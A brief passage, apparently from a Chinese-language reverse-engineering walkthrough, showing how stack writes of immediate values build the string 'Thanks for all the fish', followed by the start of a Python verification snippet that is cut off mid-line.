+21] "is" ← 立即數 [sp+22] "h" ← 立即數 ────────────────────────────────────── 23 bytes = "Thanks for all the fish" ``` 驗算: ```python import struct b = bytearray() b += bytes.fromhex('5468616e6b7320666f7220616c6c2074') b += struct.pack('